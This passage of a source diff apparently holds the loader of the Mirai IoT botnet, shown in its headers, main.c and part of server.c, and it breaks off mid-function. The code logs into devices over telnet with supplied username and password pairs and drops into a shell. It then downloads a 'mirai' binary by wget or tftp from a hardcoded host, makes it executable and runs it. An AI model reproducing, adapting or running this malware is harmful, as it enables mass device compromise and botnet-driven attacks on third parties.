int connection_consume_psoutput(struct connection *conn);
|
||||
int connection_consume_mounts(struct connection *conn);
|
||||
int connection_consume_written_dirs(struct connection *conn);
|
||||
int connection_consume_copy_op(struct connection *conn);
|
||||
int connection_consume_arch(struct connection *conn);
|
||||
int connection_consume_arm_subtype(struct connection *conn);
|
||||
int connection_consume_upload_methods(struct connection *conn);
|
||||
int connection_upload_echo(struct connection *conn);
|
||||
int connection_upload_wget(struct connection *conn);
|
||||
int connection_upload_tftp(struct connection *conn);
|
||||
int connection_verify_payload(struct connection *conn);
|
||||
int connection_consume_cleanup(struct connection *conn);
|
||||
|
||||
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount);
|
||||
36
loader/src/headers/includes.h
Executable file
36
loader/src/headers/includes.h
Executable file
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define STDIN 0
|
||||
#define STDOUT 1
|
||||
#define STDERR 2
|
||||
|
||||
#define FALSE 0
|
||||
#define TRUE 1
|
||||
typedef char BOOL;
|
||||
|
||||
typedef uint32_t ipv4_t;
|
||||
typedef uint16_t port_t;
|
||||
|
||||
#define LOADER_LITTLE_ENDIAN
|
||||
|
||||
#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)
|
||||
#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)
|
||||
#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)
|
||||
#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)
|
||||
#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)
|
||||
|
||||
#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69"
|
||||
#define VERIFY_STRING_CHECK "kami"
|
||||
|
||||
#define TOKEN_QUERY "/bin/busybox ECCHI"
|
||||
#define TOKEN_RESPONSE "ECCHI: applet not found"
|
||||
|
||||
#define EXEC_QUERY "/bin/busybox IHCCE"
|
||||
#define EXEC_RESPONSE "IHCCE: applet not found"
|
||||
|
||||
#define FN_DROPPER "upnp"
|
||||
#define FN_BINARY "dvrHelper"
|
||||
|
||||
extern char *id_tag;
|
||||
38
loader/src/headers/server.h
Executable file
38
loader/src/headers/server.h
Executable file
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <sys/epoll.h>
|
||||
#include "includes.h"
|
||||
#include "telnet_info.h"
|
||||
#include "connection.h"
|
||||
|
||||
struct server {
|
||||
uint32_t max_open;
|
||||
volatile uint32_t curr_open;
|
||||
volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures;
|
||||
char *wget_host_ip, *tftp_host_ip;
|
||||
struct server_worker *workers;
|
||||
struct connection **estab_conns;
|
||||
ipv4_t *bind_addrs;
|
||||
pthread_t to_thrd;
|
||||
port_t wget_host_port;
|
||||
uint8_t workers_len, bind_addrs_len;
|
||||
int curr_worker_child;
|
||||
};
|
||||
|
||||
struct server_worker {
|
||||
struct server *srv;
|
||||
int efd; // We create a separate epoll context per thread so thread safety isn't our problem
|
||||
pthread_t thread;
|
||||
uint8_t thread_id;
|
||||
};
|
||||
|
||||
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);
|
||||
void server_destroy(struct server *srv);
|
||||
void server_queue_telnet(struct server *srv, struct telnet_info *info);
|
||||
void server_telnet_probe(struct server *srv, struct telnet_info *info);
|
||||
|
||||
static void bind_core(int core);
|
||||
static void *worker(void *arg);
|
||||
static void handle_output_buffers(struct server_worker *);
|
||||
static void handle_event(struct server_worker *wrker, struct epoll_event *ev);
|
||||
static void *timeout_thread(void *);
|
||||
18
loader/src/headers/telnet_info.h
Executable file
18
loader/src/headers/telnet_info.h
Executable file
@@ -0,0 +1,18 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
struct telnet_info {
|
||||
char user[32], pass[32], arch[6], writedir[32];
|
||||
ipv4_t addr;
|
||||
port_t port;
|
||||
enum {
|
||||
UPLOAD_ECHO,
|
||||
UPLOAD_WGET,
|
||||
UPLOAD_TFTP
|
||||
} upload_method;
|
||||
BOOL has_auth, has_arch;
|
||||
};
|
||||
|
||||
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);
|
||||
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);
|
||||
72
loader/src/headers/util.h
Executable file
72
loader/src/headers/util.h
Executable file
@@ -0,0 +1,72 @@
|
||||
#pragma once
|
||||
|
||||
#include "server.h"
|
||||
#include "includes.h"
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
|
||||
#define EI_NIDENT 16 // Side of e_ident in elf header
|
||||
#define EI_DATA 5 // Offset endianness in e_ident
|
||||
|
||||
#define EE_NONE 0 // No endianness ????
|
||||
#define EE_LITTLE 1 // Little endian
|
||||
#define EE_BIG 2 // Big endian
|
||||
|
||||
#define ET_NOFILE 0 // None
|
||||
#define ET_REL 1 // Relocatable file
|
||||
#define ET_EXEC 2 // Executable file
|
||||
#define ET_DYN 3 // Shared object file
|
||||
#define ET_CORE 4 // Core file
|
||||
|
||||
/* These constants define the various ELF target machines */
|
||||
#define EM_NONE 0
|
||||
#define EM_M32 1
|
||||
#define EM_SPARC 2
|
||||
#define EM_386 3
|
||||
#define EM_68K 4 // m68k
|
||||
#define EM_88K 5 // m68k
|
||||
#define EM_486 6 // x86
|
||||
#define EM_860 7 // Unknown
|
||||
#define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */
|
||||
/* Next two are historical and binaries and
|
||||
modules of these types will be rejected by
|
||||
Linux. */
|
||||
#define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */
|
||||
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */
|
||||
|
||||
#define EM_PARISC 15 /* HPPA */
|
||||
#define EM_SPARC32PLUS 18 /* Sun's "v8plus" */
|
||||
#define EM_PPC 20 /* PowerPC */
|
||||
#define EM_PPC64 21 /* PowerPC64 */
|
||||
#define EM_SPU 23 /* Cell BE SPU */
|
||||
#define EM_ARM 40 /* ARM 32 bit */
|
||||
#define EM_SH 42 /* SuperH */
|
||||
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
|
||||
#define EM_H8_300 46 /* Renesas H8/300 */
|
||||
#define EM_IA_64 50 /* HP/Intel IA-64 */
|
||||
#define EM_X86_64 62 /* AMD x86-64 */
|
||||
#define EM_S390 22 /* IBM S/390 */
|
||||
#define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */
|
||||
#define EM_M32R 88 /* Renesas M32R */
|
||||
#define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */
|
||||
#define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */
|
||||
#define EM_BLACKFIN 106 /* ADI Blackfin Processor */
|
||||
#define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */
|
||||
#define EM_TI_C6000 140 /* TI C6X DSPs */
|
||||
#define EM_AARCH64 183 /* ARM 64 bit */
|
||||
#define EM_TILEPRO 188 /* Tilera TILEPro */
|
||||
#define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */
|
||||
#define EM_TILEGX 191 /* Tilera TILE-Gx */
|
||||
#define EM_FRV 0x5441 /* Fujitsu FR-V */
|
||||
#define EM_AVR32 0x18ad /* Atmel AVR32 */
|
||||
|
||||
struct elf_hdr {
|
||||
uint8_t e_ident[EI_NIDENT];
|
||||
uint16_t e_type, e_machine;
|
||||
uint32_t e_version;
|
||||
} __attribute__((packed));
|
||||
|
||||
int util_socket_and_bind(struct server *srv);
|
||||
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
|
||||
BOOL util_sockprintf(int fd, const char *fmt, ...);
|
||||
char *util_trim(char *str);
|
||||
115
loader/src/main.c
Executable file
115
loader/src/main.c
Executable file
@@ -0,0 +1,115 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/socket.h>
|
||||
#include <errno.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/server.h"
|
||||
#include "headers/telnet_info.h"
|
||||
#include "headers/binary.h"
|
||||
#include "headers/util.h"
|
||||
|
||||
static void *stats_thread(void *);
|
||||
|
||||
static struct server *srv;
|
||||
|
||||
char *id_tag = "telnet";
|
||||
|
||||
int main(int argc, char **args)
|
||||
{
|
||||
pthread_t stats_thrd;
|
||||
uint8_t addrs_len;
|
||||
ipv4_t *addrs;
|
||||
uint32_t total = 0;
|
||||
struct telnet_info info;
|
||||
|
||||
#ifdef DEBUG
|
||||
addrs_len = 1;
|
||||
addrs = calloc(4, sizeof (ipv4_t));
|
||||
addrs[0] = inet_addr("0.0.0.0");
|
||||
#else
|
||||
addrs_len = 2;
|
||||
addrs = calloc(addrs_len, sizeof (ipv4_t));
|
||||
|
||||
addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
|
||||
addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
|
||||
#endif
|
||||
|
||||
if (argc == 2)
|
||||
{
|
||||
id_tag = args[1];
|
||||
}
|
||||
|
||||
if (!binary_init())
|
||||
{
|
||||
printf("Failed to load bins/dlr.* as dropper\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* wget address tftp address */
|
||||
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
|
||||
{
|
||||
printf("Failed to initialize server. Aborting\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&stats_thrd, NULL, stats_thread, NULL);
|
||||
|
||||
// Read from stdin
|
||||
while (TRUE)
|
||||
{
|
||||
char strbuf[1024];
|
||||
|
||||
if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
|
||||
break;
|
||||
|
||||
util_trim(strbuf);
|
||||
|
||||
if (strlen(strbuf) == 0)
|
||||
{
|
||||
usleep(10000);
|
||||
continue;
|
||||
}
|
||||
|
||||
memset(&info, 0, sizeof(struct telnet_info));
|
||||
if (telnet_info_parse(strbuf, &info) == NULL)
|
||||
printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
|
||||
else
|
||||
{
|
||||
if (srv == NULL)
|
||||
printf("srv == NULL 2\n");
|
||||
|
||||
server_queue_telnet(srv, &info);
|
||||
if (total++ % 1000 == 0)
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
ATOMIC_INC(&srv->total_input);
|
||||
}
|
||||
|
||||
printf("Hit end of input.\n");
|
||||
|
||||
while(ATOMIC_GET(&srv->curr_open) > 0)
|
||||
sleep(1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void *stats_thread(void *arg)
|
||||
{
|
||||
uint32_t seconds = 0;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
#ifndef DEBUG
|
||||
printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n",
|
||||
seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
|
||||
ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
|
||||
#endif
|
||||
fflush(stdout);
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
640
loader/src/server.c
Executable file
640
loader/src/server.c
Executable file
@@ -0,0 +1,640 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/epoll.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <string.h>
|
||||
#include <sched.h>
|
||||
#include <errno.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/server.h"
|
||||
#include "headers/telnet_info.h"
|
||||
#include "headers/connection.h"
|
||||
#include "headers/binary.h"
|
||||
#include "headers/util.h"
|
||||
|
||||
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)
|
||||
{
|
||||
struct server *srv = calloc(1, sizeof (struct server));
|
||||
struct server_worker *workers = calloc(threads, sizeof (struct server_worker));
|
||||
int i;
|
||||
|
||||
// Fill out the structure
|
||||
srv->bind_addrs_len = addr_len;
|
||||
srv->bind_addrs = addrs;
|
||||
srv->max_open = max_open;
|
||||
srv->wget_host_ip = wghip;
|
||||
srv->wget_host_port = wghp;
|
||||
srv->tftp_host_ip = thip;
|
||||
srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));
|
||||
srv->workers = calloc(threads, sizeof (struct server_worker));
|
||||
srv->workers_len = threads;
|
||||
|
||||
if (srv->estab_conns == NULL)
|
||||
{
|
||||
printf("Failed to allocate establisted_connections array\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// Allocate locks internally
|
||||
for (i = 0; i < max_open * 2; i++)
|
||||
{
|
||||
srv->estab_conns[i] = calloc(1, sizeof (struct connection));
|
||||
if (srv->estab_conns[i] == NULL)
|
||||
{
|
||||
printf("Failed to allocate connection %d\n", i);
|
||||
exit(-1);
|
||||
}
|
||||
pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);
|
||||
}
|
||||
|
||||
// Create worker threads
|
||||
for (i = 0; i < threads; i++)
|
||||
{
|
||||
struct server_worker *wrker = &srv->workers[i];
|
||||
|
||||
wrker->srv = srv;
|
||||
wrker->thread_id = i;
|
||||
|
||||
if ((wrker->efd = epoll_create1(0)) == -1)
|
||||
{
|
||||
printf("Failed to initialize epoll context. Error code %d\n", errno);
|
||||
free(srv->workers);
|
||||
free(srv);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pthread_create(&wrker->thread, NULL, worker, wrker);
|
||||
}
|
||||
|
||||
pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);
|
||||
|
||||
return srv;
|
||||
}
|
||||
|
||||
void server_destroy(struct server *srv)
|
||||
{
|
||||
if (srv == NULL)
|
||||
return;
|
||||
if (srv->bind_addrs != NULL)
|
||||
free(srv->bind_addrs);
|
||||
if (srv->workers != NULL)
|
||||
free(srv->workers);
|
||||
free(srv);
|
||||
}
|
||||
|
||||
void server_queue_telnet(struct server *srv, struct telnet_info *info)
|
||||
{
|
||||
while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)
|
||||
{
|
||||
sleep(1);
|
||||
}
|
||||
ATOMIC_INC(&srv->curr_open);
|
||||
|
||||
if (srv == NULL)
|
||||
printf("srv == NULL 3\n");
|
||||
|
||||
server_telnet_probe(srv, info);
|
||||
}
|
||||
|
||||
void server_telnet_probe(struct server *srv, struct telnet_info *info)
|
||||
{
|
||||
int fd = util_socket_and_bind(srv);
|
||||
struct sockaddr_in addr;
|
||||
struct connection *conn;
|
||||
struct epoll_event event;
|
||||
int ret;
|
||||
struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
|
||||
|
||||
if (fd == -1)
|
||||
{
|
||||
if (time(NULL) % 10 == 0)
|
||||
{
|
||||
printf("Failed to open and bind socket\n");
|
||||
}
|
||||
ATOMIC_DEC(&srv->curr_open);
|
||||
return;
|
||||
}
|
||||
while (fd >= (srv->max_open * 2))
|
||||
{
|
||||
printf("fd too big\n");
|
||||
conn->fd = fd;
|
||||
#ifdef DEBUG
|
||||
printf("Can't utilize socket because client buf is not large enough\n");
|
||||
#endif
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
if (srv == NULL)
|
||||
printf("srv == NULL 4\n");
|
||||
|
||||
conn = srv->estab_conns[fd];
|
||||
memcpy(&conn->info, info, sizeof (struct telnet_info));
|
||||
conn->srv = srv;
|
||||
conn->fd = fd;
|
||||
connection_open(conn);
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = info->addr;
|
||||
addr.sin_port = info->port;
|
||||
ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
||||
if (ret == -1 && errno != EINPROGRESS)
|
||||
{
|
||||
printf("got connect error\n");
|
||||
}
|
||||
|
||||
event.data.fd = fd;
|
||||
event.events = EPOLLOUT;
|
||||
epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
|
||||
}
|
||||
|
||||
static void bind_core(int core)
|
||||
{
|
||||
pthread_t tid = pthread_self();
|
||||
cpu_set_t cpuset;
|
||||
CPU_ZERO(&cpuset);
|
||||
CPU_SET(core, &cpuset);
|
||||
if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)
|
||||
printf("Failed to bind to core %d\n", core);
|
||||
}
|
||||
|
||||
static void *worker(void *arg)
|
||||
{
|
||||
struct server_worker *wrker = (struct server_worker *)arg;
|
||||
struct epoll_event events[128];
|
||||
|
||||
bind_core(wrker->thread_id);
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
int i, n = epoll_wait(wrker->efd, events, 127, -1);
|
||||
|
||||
if (n == -1)
|
||||
perror("epoll_wait");
|
||||
|
||||
for (i = 0; i < n; i++)
|
||||
handle_event(wrker, &events[i]);
|
||||
}
|
||||
}
|
||||
|
||||
static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
|
||||
{
|
||||
struct connection *conn = wrker->srv->estab_conns[ev->data.fd];
|
||||
|
||||
if (conn->fd == -1)
|
||||
{
|
||||
conn->fd = ev->data.fd;
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
if (conn->fd != ev->data.fd)
|
||||
{
|
||||
printf("yo socket mismatch\n");
|
||||
}
|
||||
|
||||
// Check if there was an error
|
||||
if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
if (conn->open)
|
||||
printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
// Are we ready to write?
|
||||
if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)
|
||||
{
|
||||
struct epoll_event event;
|
||||
|
||||
int so_error = 0;
|
||||
socklen_t len = sizeof(so_error);
|
||||
getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
|
||||
if (so_error)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Connection refused\n", ev->data.fd);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Established connection\n", ev->data.fd);
|
||||
#endif
|
||||
event.data.fd = conn->fd;
|
||||
event.events = EPOLLIN | EPOLLET;
|
||||
epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);
|
||||
conn->state_telnet = TELNET_READ_IACS;
|
||||
conn->timeout = 30;
|
||||
}
|
||||
|
||||
if (!conn->open)
|
||||
{
|
||||
printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet);
|
||||
}
|
||||
|
||||
// Is there data to read?
|
||||
if (ev->events & EPOLLIN && conn->open)
|
||||
{
|
||||
int ret;
|
||||
|
||||
conn->last_recv = time(NULL);
|
||||
while (TRUE)
|
||||
{
|
||||
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);
|
||||
if (ret <= 0)
|
||||
{
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
if (conn->open)
|
||||
printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
}
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos);
|
||||
#endif
|
||||
conn->rdbuf_pos += ret;
|
||||
conn->last_recv = time(NULL);
|
||||
|
||||
if (conn->rdbuf_pos > 8196)
|
||||
{
|
||||
printf("oversized buffer pointer!\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
int consumed;
|
||||
|
||||
switch (conn->state_telnet)
|
||||
{
|
||||
case TELNET_READ_IACS:
|
||||
consumed = connection_consume_iacs(conn);
|
||||
if (consumed)
|
||||
conn->state_telnet = TELNET_USER_PROMPT;
|
||||
break;
|
||||
case TELNET_USER_PROMPT:
|
||||
consumed = connection_consume_login_prompt(conn);
|
||||
if (consumed)
|
||||
{
|
||||
util_sockprintf(conn->fd, "%s", conn->info.user);
|
||||
strcpy(conn->output_buffer.data, "\r\n");
|
||||
conn->output_buffer.deadline = time(NULL) + 1;
|
||||
conn->state_telnet = TELNET_PASS_PROMPT;
|
||||
}
|
||||
break;
|
||||
case TELNET_PASS_PROMPT:
|
||||
consumed = connection_consume_password_prompt(conn);
|
||||
if (consumed)
|
||||
{
|
||||
util_sockprintf(conn->fd, "%s", conn->info.pass);
|
||||
strcpy(conn->output_buffer.data, "\r\n");
|
||||
conn->output_buffer.deadline = time(NULL) + 1;
|
||||
conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
|
||||
}
|
||||
break;
|
||||
case TELNET_WAITPASS_PROMPT:
|
||||
if ((consumed = connection_consume_prompt(conn)) > 0)
|
||||
{
|
||||
util_sockprintf(conn->fd, "enable\r\n");
|
||||
util_sockprintf(conn->fd, "shell\r\n");
|
||||
util_sockprintf(conn->fd, "sh\r\n");
|
||||
conn->state_telnet = TELNET_CHECK_LOGIN;
|
||||
}
|
||||
break;
|
||||
case TELNET_CHECK_LOGIN:
|
||||
if ((consumed = connection_consume_prompt(conn)) > 0)
|
||||
{
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_VERIFY_LOGIN;
|
||||
}
|
||||
break;
|
||||
case TELNET_VERIFY_LOGIN:
|
||||
consumed = connection_consume_verify_login(conn);
|
||||
if (consumed)
|
||||
{
|
||||
ATOMIC_INC(&wrker->srv->total_logins);
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Succesfully logged in\n", ev->data.fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_PARSE_PS;
|
||||
}
|
||||
break;
|
||||
case TELNET_PARSE_PS:
|
||||
if ((consumed = connection_consume_psoutput(conn)) > 0)
|
||||
{
|
||||
util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_PARSE_MOUNTS;
|
||||
}
|
||||
break;
|
||||
case TELNET_PARSE_MOUNTS:
|
||||
consumed = connection_consume_mounts(conn);
|
||||
if (consumed)
|
||||
conn->state_telnet = TELNET_READ_WRITEABLE;
|
||||
break;
|
||||
case TELNET_READ_WRITEABLE:
|
||||
consumed = connection_consume_written_dirs(conn);
|
||||
if (consumed)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir);
|
||||
util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_COPY_ECHO;
|
||||
conn->timeout = 120;
|
||||
}
|
||||
break;
|
||||
case TELNET_COPY_ECHO:
|
||||
consumed = connection_consume_copy_op(conn);
|
||||
if (consumed)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd);
|
||||
#endif
|
||||
if (!conn->info.has_arch)
|
||||
{
|
||||
conn->state_telnet = TELNET_DETECT_ARCH;
|
||||
conn->timeout = 120;
|
||||
// DO NOT COMBINE THESE
|
||||
util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n");
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
conn->timeout = 15;
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
}
|
||||
}
|
||||
break;
|
||||
case TELNET_DETECT_ARCH:
|
||||
consumed = connection_consume_arch(conn);
|
||||
if (consumed)
|
||||
{
|
||||
conn->timeout = 15;
|
||||
if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Cannot determine architecture\n", conn->fd);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
}
|
||||
else if (strcmp(conn->info.arch, "arm") == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Determining ARM sub-type\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_ARM_SUBTYPE;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case TELNET_ARM_SUBTYPE:
|
||||
if ((consumed = connection_consume_arm_subtype(conn)) > 0)
|
||||
{
|
||||
struct binary *bin = binary_get_by_arch(conn->info.arch);
|
||||
|
||||
if (bin == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
conn->bin = bin;
|
||||
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_METHODS:
|
||||
consumed = connection_consume_upload_methods(conn);
|
||||
|
||||
if (consumed)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Upload method is ", conn->fd);
|
||||
#endif
|
||||
switch (conn->info.upload_method)
|
||||
{
|
||||
case UPLOAD_ECHO:
|
||||
conn->state_telnet = TELNET_UPLOAD_ECHO;
|
||||
conn->timeout = 30;
|
||||
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
|
||||
#ifdef DEBUG
|
||||
printf("echo\n");
|
||||
#endif
|
||||
break;
|
||||
case UPLOAD_WGET:
|
||||
conn->state_telnet = TELNET_UPLOAD_WGET;
|
||||
conn->timeout = 120;
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
|
||||
wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
|
||||
#ifdef DEBUG
|
||||
printf("wget\n");
|
||||
#endif
|
||||
break;
|
||||
case UPLOAD_TFTP:
|
||||
conn->state_telnet = TELNET_UPLOAD_TFTP;
|
||||
conn->timeout = 120;
|
||||
util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
|
||||
FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
|
||||
#ifdef DEBUG
|
||||
printf("tftp\n");
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_ECHO:
|
||||
consumed = connection_upload_echo(conn);
|
||||
if (consumed)
|
||||
{
|
||||
conn->state_telnet = TELNET_RUN_BINARY;
|
||||
conn->timeout = 30;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished echo loading!\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);
|
||||
ATOMIC_INC(&wrker->srv->total_echoes);
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_WGET:
|
||||
consumed = connection_upload_wget(conn);
|
||||
if (consumed)
|
||||
{
|
||||
conn->state_telnet = TELNET_RUN_BINARY;
|
||||
conn->timeout = 30;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished wget loading\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
|
||||
ATOMIC_INC(&wrker->srv->total_wgets);
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_TFTP:
|
||||
consumed = connection_upload_tftp(conn);
|
||||
if (consumed > 0)
|
||||
{
|
||||
